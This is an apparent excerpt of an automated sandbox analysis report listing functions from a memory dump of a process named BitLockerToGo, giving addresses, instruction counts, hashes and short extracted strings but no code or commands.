Opcode ID: 025289f68447900a304f362c9734bdb76dc335403cf02dd95e90a86083988b66
Instruction ID: 8ee950022cae915a18c7de1fd3d54a76134593a4993f5e00eedd909b6ac01ec7
Opcode Fuzzy Hash: 025289f68447900a304f362c9734bdb76dc335403cf02dd95e90a86083988b66
Instruction Fuzzy Hash: 01C14372B147208BC3149F25D882777B3E2EFC5354F99852EE8859B381E778DD01879A

Function 00423B40 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

"@B, xrefs: 0042401C

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "@B
API String ID: 0-2887984165
Opcode ID: 6d6c9c3ddcc466d9eeb19a862b7d5c3da6186527634c645c9c26f64ad252f559
Instruction ID: 5951c9fee924fb6d2147fcb850871edff086e4146aea6a539f68db0223537e1c
Opcode Fuzzy Hash: 6d6c9c3ddcc466d9eeb19a862b7d5c3da6186527634c645c9c26f64ad252f559
Instruction Fuzzy Hash: C9C100B06083208BD724DF15D89276BBBF2EFD2355F48891DE4818B3A4E77D8905CB96

Function 0042D3EA Relevance: 1.7, Strings: 1, Instructions: 436COMMON

Download Yara Rule

Strings

B, xrefs: 0042D751

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-1255198513
Opcode ID: 90558672f9fc43610c8432fdc8fe454ec5cdf9253a7e5cd96ada408802c24e29
Instruction ID: ffc335af6221a67aec596609ceb810eab3f2314bdd6ed345be04ff5badd0fb50
Opcode Fuzzy Hash: 90558672f9fc43610c8432fdc8fe454ec5cdf9253a7e5cd96ada408802c24e29
Instruction Fuzzy Hash: F1E12575A08390DFD3009F29A84172BBBE2BF86314F58897DF49487392D739D905CB5A

Function 0041CAB0 Relevance: 1.6, Strings: 1, Instructions: 354COMMON

Download Yara Rule

Strings

~, xrefs: 0041CB8A

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ~
API String ID: 0-1314861826
Opcode ID: 0c84eb5d5ebe00602620cdd8557bcc77e21a0366e0a6bc31a7d4dab63334fc84
Instruction ID: 3e3eb561e06a148c95b3d23fea8f7035ad405935131b963aa506cc0c007e8c7f
Opcode Fuzzy Hash: 0c84eb5d5ebe00602620cdd8557bcc77e21a0366e0a6bc31a7d4dab63334fc84
Instruction Fuzzy Hash: 81B1E2755483409BD7309F14CC827EBB7A1EF96314F048A2EE9C99B391E7789841CB9B

Function 00445120 Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

bRD, xrefs: 0044524D

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: bRD
API String ID: 0-1294892035
Opcode ID: 0a710fae5c1a036e02e7418541096c37c0acb78164add4835dcb148b85d26a61
Instruction ID: ff02802a109ca41e197f0b0674668eac4a4f9222675bf92ff47419530cb478fb
Opcode Fuzzy Hash: 0a710fae5c1a036e02e7418541096c37c0acb78164add4835dcb148b85d26a61
Instruction Fuzzy Hash: 3F81047AB49350CFD7148FA8E8E0766B7A2EB8E316F0E84BDC58587722D274D844C785

Function 00446B70 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

, xrefs: 00446B95, 00446BA6, 00446C35, 00446C46

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: fccdb502cf9d0dd55d551d8a0f50c4df14d91cb32b71f026ad56220f6fb638b1
Instruction ID: 5cad1bb519f6a20fdafec16fa9e49a0307c62189ea80c1373280b85afc2cb06b
Opcode Fuzzy Hash: fccdb502cf9d0dd55d551d8a0f50c4df14d91cb32b71f026ad56220f6fb638b1
Instruction Fuzzy Hash: 8091F275A083118BD725CF28D880A2BB7F2FF8A710F1A852EE98197365D735EC51C786

Function 0040A500 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 0040A636

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 37f756bf959ae2e0a7e7d78eeac5330931023742c7c43367a445c5a24df0fd56
Instruction ID: 01f4adde1d8a591c5325ced968eda354948ed20be2320553e1c1b150e80474ec
Opcode Fuzzy Hash: 37f756bf959ae2e0a7e7d78eeac5330931023742c7c43367a445c5a24df0fd56
Instruction Fuzzy Hash: 92B138711083819FD325DF18C88061BFBE0AFA9704F448E2EE5D997782D635E918CB67

Function 004468C0 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

, xrefs: 004468E5, 004468F6, 00446995, 004469A6

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: 1a6c61a64cd59658e570d2005ba41e2a15e811b29aea532cdee009a2420015f3
Instruction ID: 31addd0c15b42af517311c90aaa1a2fae0b1a43ec5c2c85150ccd7fdd60d87be
Opcode Fuzzy Hash: 1a6c61a64cd59658e570d2005ba41e2a15e811b29aea532cdee009a2420015f3
Instruction Fuzzy Hash: BB81E4352047029BE714DF18D490A2BB7E2FF86310F1A852EE8859B355EB74EC51CB87

Function 00441100 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

InA>, xrefs: 004411A0

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: InA>
API String ID: 2994545307-2903657838
Opcode ID: ba0f83a385815676c181a1b57296bfa8ced76ddb6c33d7f45ad60d1a3e5eadbf
Instruction ID: 2733a3e7ecfab1ee7609352c4dfc4de505aa4dfa689e277dbf158153ecdaf43b
Opcode Fuzzy Hash: ba0f83a385815676c181a1b57296bfa8ced76ddb6c33d7f45ad60d1a3e5eadbf
Instruction Fuzzy Hash: CF7116317083015FF704CF65C98076BB7A2BBC5354F18886EE985E73A1E6B8E8458756

Function 004229C0 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 00422B43

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081
API String ID: 0-2471034898
Opcode ID: 67168023ee1ff5560d55a1ad4aebd87d57c8a2b37d4dcf132d89e9cbe55ab946
Instruction ID: 5fc3b0cd92393cb198973b55e447997536410292836bc491032810755ad9ef2a
Opcode Fuzzy Hash: 67168023ee1ff5560d55a1ad4aebd87d57c8a2b37d4dcf132d89e9cbe55ab946
Instruction Fuzzy Hash: 9C510737B1A9A05BC7204D3C2D112A6AF035BA33347BD436BD4B18B3D1C5AE9C079356

Function 00443A33 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

V;D, xrefs: 00443A2D, 00443B50

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: V;D
API String ID: 0-3665027489
Opcode ID: 7ac1564fe8e091d8da8b3e1c93bae93eb0f8b17e1f44ccc57822275fecc7c5b9
Instruction ID: 92cb82e75d119fd3d33fbff468c5fe5f74edc0aeca132e1334e17f2f4c61e6ae
Opcode Fuzzy Hash: 7ac1564fe8e091d8da8b3e1c93bae93eb0f8b17e1f44ccc57822275fecc7c5b9
Instruction Fuzzy Hash: 7271283560D3F24BC322CE29C4A051EBBE1AE96615B5983FED8F04F783C5259D06C766

Function 00429ADE Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

", xrefs: 00429D28

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-3984020932
Opcode ID: ecae04d559038cbaf8cf4adbbbb75382ead5f4f7f91068c00b99c446527e5719
Instruction ID: b732913931e6592bc6d34c833d2bfd7f3c0d0726e8f2b7cf655a5cd69e9444a0
Opcode Fuzzy Hash: ecae04d559038cbaf8cf4adbbbb75382ead5f4f7f91068c00b99c446527e5719
Instruction Fuzzy Hash: 03513472E002678FDB10CA68D4812BBFBA1FB55350F58826AC844AB381D33CEC46D7D5

Function 00429D3E Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

", xrefs: 00429F88

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-3984020932
Opcode ID: 2c33b001021260ab249361e2108c8a42a73a895cef485b6beaaac408b8162028
Instruction ID: 2d4f56222f1e86b50be5a49111b79def99accf97ff9085caebcb3ad3bb644af2
Opcode Fuzzy Hash: 2c33b001021260ab249361e2108c8a42a73a895cef485b6beaaac408b8162028
Instruction Fuzzy Hash: 34514472F102668FDB20CA68D4412BBF7A2FB45300F59852ED8859B385E73CDC46E395

Function 0040BC40 Relevance: .9, Instructions: 855COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67c07c6aa2b5a6701d8050d4a515ce89995d9b9219aac0b1f1af7e485e0ac167
Instruction ID: 50500183b032ee6dc06cf10971eb802da517bc59a805a288650abec63f9be507
Opcode Fuzzy Hash: 67c07c6aa2b5a6701d8050d4a515ce89995d9b9219aac0b1f1af7e485e0ac167
Instruction Fuzzy Hash: F252B131908711CBC725AF1894902BBB3E1FFC5318F158B3ED996A72C1D739A855CB8A

Function 00422090 Relevance: .7, Instructions: 720COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a2ac396e881e2b238bc65ca647faa8ce2b5fcc468dc51e4d0b3be7b738439c4f
Instruction ID: bedd85d0ccd2d5642b7c5f1eae805139faeb159070a0c42e620eab7bfc0472f5
Opcode Fuzzy Hash: a2ac396e881e2b238bc65ca647faa8ce2b5fcc468dc51e4d0b3be7b738439c4f
Instruction Fuzzy Hash: CB32F3B1708351ABD724CF11D981B6BB7E2EFC4314F58882EE9849B351D7B8E841CB5A

Function 00407040 Relevance: .7, Instructions: 671COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 051165325c3a9c01a4eff6cbfa396651d64ef6a5f3c0f789e3ef409b39bbfb0e
Instruction ID: 6f36adf13e7afad5e15ae1d371272c0c277fa59cddb190865315f7fe94f10427
Opcode Fuzzy Hash: 051165325c3a9c01a4eff6cbfa396651d64ef6a5f3c0f789e3ef409b39bbfb0e
Instruction Fuzzy Hash: 7652D73190C3458FC714CF28C0906AABBE1FF85314F198A7EE89A67391D779E945CB86

Function 0040B130 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb5f9eb01fc56fc46ed467dc76d2f778c589d5495b5e35fdd06c0fd1469e9df
Instruction ID: 2079236a8f6f5d5c1427db2c4349fd280431b5af01facb3b398be7af612ed3c5
Opcode Fuzzy Hash: 0bb5f9eb01fc56fc46ed467dc76d2f778c589d5495b5e35fdd06c0fd1469e9df
Instruction Fuzzy Hash: 7252C370A087849FE7349B24C4847A7BBE1EB91314F18887EC5E616BC2D37DA885C78D

Function 004454D0 Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b290410587ff03d7ca952d55d44b05ce308e2df8daed46388ba8646f13a21f07
Instruction ID: f695b33d7d85013d9fd8c083f58a0ab1ae9535ffc5f62a3a5a665fcc0a81dd0d
Opcode Fuzzy Hash: b290410587ff03d7ca952d55d44b05ce308e2df8daed46388ba8646f13a21f07
Instruction Fuzzy Hash: F0121435A08355CFCB08CF28D89066AB7E2EF8D311F59897ED586973A2D634DD05CB84

Function 00407A60 Relevance: .6, Instructions: 627COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fd9bfa7bc2be61301e2f1d8f6331ac805462f7ad5808e0ec3e29dce6e92438c
Instruction ID: c7b3c5648471ca208f29020d18aac7f5fc7a4f6f2e5e921f695708f2cf1556fc
Opcode Fuzzy Hash: 6fd9bfa7bc2be61301e2f1d8f6331ac805462f7ad5808e0ec3e29dce6e92438c
Instruction Fuzzy Hash: 0E424770A18B118FC338CF29C690566BBF2BF85310B644A2ED69797B90D739F845CB19

Function 0043DB76 Relevance: .5, Instructions: 532COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bfdbb28372194462e2f19915edbece9811e75a430515b94d08a987e8c690a11
Instruction ID: ecb8c7f2adf0dbd1e17e46fac6319425b24128ec041a58b11260f66c2ef01816
Opcode Fuzzy Hash: 4bfdbb28372194462e2f19915edbece9811e75a430515b94d08a987e8c690a11
Instruction Fuzzy Hash: F702F33AA14216CBCB18CF28E9612BFB7B2FF49302F0A847DC541973A4E7799951CB54

Function 0040A020 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a9915af957c528a61812ee8299480e6dfef751ec0918b04dfab1b27f8bd7f3
Instruction ID: d20dae43de497a67b19e2389d0e1db6301c3ba7134c2724b760a568d0c62ae51
Opcode Fuzzy Hash: 30a9915af957c528a61812ee8299480e6dfef751ec0918b04dfab1b27f8bd7f3
Instruction Fuzzy Hash: CEE17E752083418FC324DF29C980A2BFBE2AFD9300F48892DE4D997791D679E958CB57

Function 00409006 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab7cb451f10d0bff60bd4870ec285c38ced0ce44f006653559cfca119af2a1e8
Instruction ID: 389cadba8afd3b0f7f8d79ab750238984dc8b6ff668591e289f8bfffca49550e
Opcode Fuzzy Hash: ab7cb451f10d0bff60bd4870ec285c38ced0ce44f006653559cfca119af2a1e8
Instruction Fuzzy Hash: 5EF16979204601CFDB18CF29D8907AAB7B1FF49305F04893DD84687A92D779E9A5CF88

Function 0040ABC0 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ef9a3f350b3cc5b1fc5ac12fe90280bfdf9812ef852d42490b9d3225e9ee3d4
Instruction ID: 12884e6a7989165fb81e0b1c35817e4f94fa2a9ce1d19d2a4dba36cd159e470a
Opcode Fuzzy Hash: 4ef9a3f350b3cc5b1fc5ac12fe90280bfdf9812ef852d42490b9d3225e9ee3d4
Instruction Fuzzy Hash: 2BF1A576B587418FD728CF24C8517ABB7E2EB85314F18897EC19AC7381EB38A505CB45

Function 00445800 Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c4ad43687b6b0c7872e6994a74e61dd2058b71f394b7b45885179891552b5b
Instruction ID: 91081cb8a8a803237d5b41b9695686510d057d629a1b5dfdeab40628d3a9f34a
Opcode Fuzzy Hash: c6c4ad43687b6b0c7872e6994a74e61dd2058b71f394b7b45885179891552b5b
Instruction Fuzzy Hash: 99C10F35609361CFC304CF28D89036BB7E1EF89315F49897ED886973A2D639DD098B86

Function 0042B30E Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a73293e714700cace13ce396954a2fc8ee0e2b30e928b77e17afc096125b48
Instruction ID: be509b9372bb8da97857da53a7df0914ffa2128cc5e6b447f8473a608215b90a
Opcode Fuzzy Hash: e5a73293e714700cace13ce396954a2fc8ee0e2b30e928b77e17afc096125b48
Instruction Fuzzy Hash: F4C12731A08390CFD3208F39A85072A77E2BF96320F5987ADE5E15B2E1D7359D44CB86

Function 00409A81 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8f223ee76603c3aece524465b618fdd825d3a2e2c1edf2e7f9cd4f1f55984b
Instruction ID: 91ea419b8e8878dcf4bf1d9f14c732df9cf384a50f20ceb6f50bc6beff210b3e
Opcode Fuzzy Hash: fe8f223ee76603c3aece524465b618fdd825d3a2e2c1edf2e7f9cd4f1f55984b
Instruction Fuzzy Hash: E1E16739200601EFCB60CF28D940A5ABBF2FF49314F15896DE98A87B61D335E861DF94

Function 0043C3E0 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5dc0ef1997e454bd653b5ed4eaa20efe33f714164dd0511d2672dd097057c19
Instruction ID: 517b95f5ec06c70c355f78d6eacf703e722f6c6c60221bcb7687b4aa50d7eafd
Opcode Fuzzy Hash: c5dc0ef1997e454bd653b5ed4eaa20efe33f714164dd0511d2672dd097057c19
Instruction Fuzzy Hash: 76C11A72D046918FDB118A7CCC813997F725B5B324F1D829AD591EB3C6C23E9807C766

Function 00431495 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009a5355264c9f14ecb0f62cc2bcf6d2004e29e9d86301fdb535bae800d9ed78
Instruction ID: ad45e24ab4404ff8fdf84920df79dc582d7af9452bb7bf922b09ff9a7c8b0726
Opcode Fuzzy Hash: 009a5355264c9f14ecb0f62cc2bcf6d2004e29e9d86301fdb535bae800d9ed78
Instruction Fuzzy Hash: 8BB10A71605B418FD728CA29C491673B7A2EB9A360F2C9B1FC4A7077E1D338E805D759

Function 0042C390 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c72a178822177bdc76ddbf559d413cc0f94f993183ea54337c62f4c7b5333a
Instruction ID: 72e2245301f4d2af7c84c42c2667884ed16cacc98422d8832845bc58708e572d
Opcode Fuzzy Hash: b4c72a178822177bdc76ddbf559d413cc0f94f993183ea54337c62f4c7b5333a
Instruction Fuzzy Hash: 96910175608320CBD310DF15E89166BB3F1FF92318F488A2DE8828B391E7799904C79A

Function 0040971D Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5c88fdf9dd2f33cb9187e09471b4645a36a352796231c4fa4875e5e3c12cc6
Instruction ID: eb4ead81cadc44e824b053123b9260e907458008dd251996ef79c0274e8e1d03
Opcode Fuzzy Hash: 7a5c88fdf9dd2f33cb9187e09471b4645a36a352796231c4fa4875e5e3c12cc6
Instruction Fuzzy Hash: 6ED15675200A01EFC720CF28D940A56BBF2FF49304F158A69E99A87BA1D335F861CF95

Function 004156C1 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 545f7f25620c192ed7336170d717c3702c69ebe7d520aab218eefc7312849e83
Instruction ID: a03738f73058ad773912a693f305ac817239dd3456f644a8d954f124386223d0
Opcode Fuzzy Hash: 545f7f25620c192ed7336170d717c3702c69ebe7d520aab218eefc7312849e83
Instruction Fuzzy Hash: 87C1F371504F808BD7259B38C8997E6BBE1AB96314F084E7ED4EF87382E6396544C706

Function 0043D4B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78db7428fa6b2eca4413b80d9711960af8d5248a1818230923aad2606a263c73
Instruction ID: 2814f46951d14fb92cd75e7dd190c182d43a69d0ed71b3f13ca5f51d5eb94e41
Opcode Fuzzy Hash: 78db7428fa6b2eca4413b80d9711960af8d5248a1818230923aad2606a263c73
Instruction Fuzzy Hash: 03816576E04204DBEB048F28EC4277EB3B5FB4A315F24043EE556A7292D7B9E911C798

Function 00417736 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 626cb85be01b892384b73e56115e1534aaf611bf577a34f57bd6c651bd9195a1
Instruction ID: d125b3214e1029221ed2a327c1f9e08b630aaf0373e3f7e445ddd9761c0b6739
Opcode Fuzzy Hash: 626cb85be01b892384b73e56115e1534aaf611bf577a34f57bd6c651bd9195a1
Instruction Fuzzy Hash: 04B1F571518B808BD7259F38C9453ABBBE1BB56314F188E6ED4EBC7382E638A444C716

Function 0042EAF0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903efb08ba3b27dd989098ab786d474e5dafe1e143fd0d58d0cbe43893fd5f23
Instruction ID: 3b4b5c29d67ca8fefd225186018e53eca5cb5e002260f47b1913eb841e57e588
Opcode Fuzzy Hash: 903efb08ba3b27dd989098ab786d474e5dafe1e143fd0d58d0cbe43893fd5f23
Instruction Fuzzy Hash: 13819EB4148B918AD332CF3AD4907E3BFE1AB57300F54885DC5EA0B386D7796405CBA6

Function 00416493 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381517474ed3a248dbd1441593cb3572e920911bd124fa42d24af86f8ebd15dc
Instruction ID: 67e84f28e60f5619890b0f5433a5ef11e5c8b906f9a992e268be80ba5681a32a
Opcode Fuzzy Hash: 381517474ed3a248dbd1441593cb3572e920911bd124fa42d24af86f8ebd15dc
Instruction Fuzzy Hash: D391E472619B804FC324DB38C8853E7BBD26B96314F1C8A7DC5EAC73C6D678A0458715

Function 004441C0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
